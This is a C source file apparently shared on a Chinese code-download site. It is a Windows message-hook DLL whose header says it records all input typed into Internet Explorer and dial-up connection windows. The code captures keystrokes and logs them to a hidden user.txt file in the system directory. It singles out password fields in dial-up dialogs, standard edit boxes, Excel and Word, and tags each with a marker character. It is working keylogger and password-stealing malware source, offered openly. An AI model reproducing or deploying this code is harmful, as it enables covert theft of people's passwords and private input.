Hook.c
上传用户:adsacym
上传日期:2007-01-07
资源大小:67k
文件大小:4k
源码类别:

Internet/IE编程

开发平台:

Visual C++

  1. /* hook.c:
  2.    可以将所有在IEFrame和拨号网络中的输入记录下来.
  3.    http://www.nease.net/~inetsoft
  4.    by lgd/Paladin.InetSoft GuangZhou
  5. */
  6. #include <windows.h>
  7. #include <stdio.h>
  8. static HWND ghwndSpyHook = NULL;
  9. LRESULT CALLBACK SpyGetMsgProc(INT hc, WPARAM wParam, LPARAM lParam);
  10. LRESULT CALLBACK SpyCallWndProc(INT hc, WPARAM wParam, LPARAM lParam);
  11. int PutChar(unsigned char ch)
  12. {
  13. char temp[128];
  14. FILE *fp;
  15. GetSystemDirectory(temp, sizeof(temp)-20);
  16. strcat(temp, "\user.txt");
  17. //strcpy(temp, "user");
  18. fp =fopen(temp, "a");
  19. if(fp ==NULL) fp=fopen(temp, "w");
  20. if(fp ==NULL) return 0L;
  21. fwrite(&ch, 1, 1, fp);
  22. fclose(fp);
  23. return 0;
  24. }
  25. BOOL APIENTRY DllMain(PVOID hModule, ULONG ulReason, PCONTEXT pctx)
  26. {
  27.     UNREFERENCED_PARAMETER(hModule);
  28.     UNREFERENCED_PARAMETER(pctx);
  29.     if ( ulReason == DLL_PROCESS_ATTACH ) {
  30.     }
  31.     return TRUE;
  32. }
  33. static int FindIEWindow(VOID)
  34. {
  35. char temp[200];
  36. HWND hwnd, hwndFrame;
  37. hwnd =GetForegroundWindow();
  38. if(hwnd ==NULL) return 0L;
  39. GetClassName(hwnd, temp, sizeof(temp));
  40. if(strcmp(temp, "IEFrame"))
  41. {
  42. ghwndSpyHook =NULL;
  43. return 0;
  44. }
  45. hwndFrame =hwnd;
  46. hwnd =GetWindow(hwndFrame, GW_CHILD);
  47. while(hwnd !=NULL)
  48. {
  49. GetClassName(hwnd, temp, sizeof(temp));
  50. if(!strcmp(temp, "Shell DocObject View"))
  51. break;
  52. hwnd =GetWindow(hwnd, GW_HWNDNEXT);
  53. }
  54. if(hwnd ==NULL) {hwndFrame =NULL; return 0L;}
  55. hwnd =GetWindow(hwnd, GW_CHILD);
  56. if(hwnd !=NULL)
  57. ghwndSpyHook =hwnd;
  58. }
  59. HWND GetTopParent(HWND hWnd)
  60. {
  61. HWND hwnd;
  62. if(hWnd ==NULL) return FALSE;
  63. hwnd =hWnd;
  64. while(hwnd !=NULL)
  65. {
  66. hWnd =hwnd;
  67. hwnd =GetParent(hWnd);
  68. }
  69. return hWnd;
  70. }
  71. BOOL IsIEFrame(HWND hWnd)
  72. {
  73. char temp[100];
  74. GetClassName(hWnd, temp, sizeof(temp));
  75. if(!strcmp(temp, "IEFrame"))
  76. return TRUE;
  77. return FALSE;
  78. }
  79. BOOL IsDialFrame(HWND hWnd)
  80. {
  81. char temp[100];
  82. GetWindowText(hWnd, temp, sizeof(temp));
  83. if(!strncmp(temp, "连接到", 6))
  84. return TRUE;
  85. else return FALSE;
  86. }
  87. int IsPassInput(HWND hWnd)
  88. {
  89. char temp[100];
  90. LONG l;
  91. l =GetWindowLong(hWnd, GWL_STYLE);
  92. if(l & ES_PASSWORD)   // 普通密码输入框
  93. return 1;
  94. GetClassName(hWnd, temp, sizeof(temp));  // Excel密码输入框
  95. if(!strcmp(temp, "EDTBX"))
  96. return 2;
  97. if(!strcmp(temp, "RichEdit20W") && (l & WS_SYSMENU))  // Word密码输入框
  98. return 3;
  99. return FALSE;
  100. }
  101. BOOL WINAPI HookProc(HWND hwnd, UINT uiMessage, WPARAM wParam, LPARAM lParam)
  102. {
  103. HWND hWnd;
  104. int ret;
  105. if(uiMessage ==WM_CHAR || uiMessage ==WM_IME_CHAR)
  106. {
  107. hWnd =GetTopParent(hwnd);
  108. if(IsIEFrame(hWnd))
  109. {
  110. if(uiMessage ==WM_IME_CHAR)
  111. PutChar((unsigned char)(wParam>>8));
  112. PutChar((unsigned char)wParam);
  113.         return TRUE;
  114. }
  115. else if(IsDialFrame(hWnd))
  116. {
  117. PutChar('@');    // 拨号密码
  118. if(uiMessage ==WM_IME_CHAR)  // 汉字
  119. PutChar((unsigned char)(wParam>>8));
  120. PutChar((unsigned char)wParam);
  121.         return TRUE;
  122. }
  123. else if((ret =IsPassInput(hwnd)))
  124. {
  125. if(ret ==1) PutChar('*');
  126. else if(ret ==2) PutChar('%');
  127. else PutChar('~');
  128. if(uiMessage ==WM_IME_CHAR)
  129. PutChar((unsigned char)(wParam>>8));
  130. PutChar((unsigned char)wParam);
  131.         return TRUE;
  132. }
  133.     }
  134.     return FALSE;
  135. }
  136. LRESULT CALLBACK SpyGetMsgProc(INT hc, WPARAM wParam, LPARAM lParam)
  137. {
  138.     PMSG pmsg;
  139.     pmsg = (PMSG)lParam;
  140.     if (hc >= 0 && pmsg && pmsg->hwnd)
  141.     {
  142.         return HookProc(pmsg->hwnd, pmsg->message, pmsg->wParam, pmsg->lParam);
  143.     }
  144.     return CallNextHookEx(NULL, hc, wParam, lParam);
  145. }
  146. LRESULT CALLBACK SpyCallWndProc(INT hc, WPARAM wParam, LPARAM lParam)
  147. {
  148.     PCWPSTRUCT pcwps;
  149.     pcwps = (PCWPSTRUCT)lParam;
  150.     if (hc >= 0 && pcwps && pcwps->hwnd)
  151.     {
  152.         return HookProc(pcwps->hwnd, pcwps->message, pcwps->wParam, pcwps->lParam);
  153.     }
  154.     return CallNextHookEx(NULL, hc, wParam, lParam);
  155. }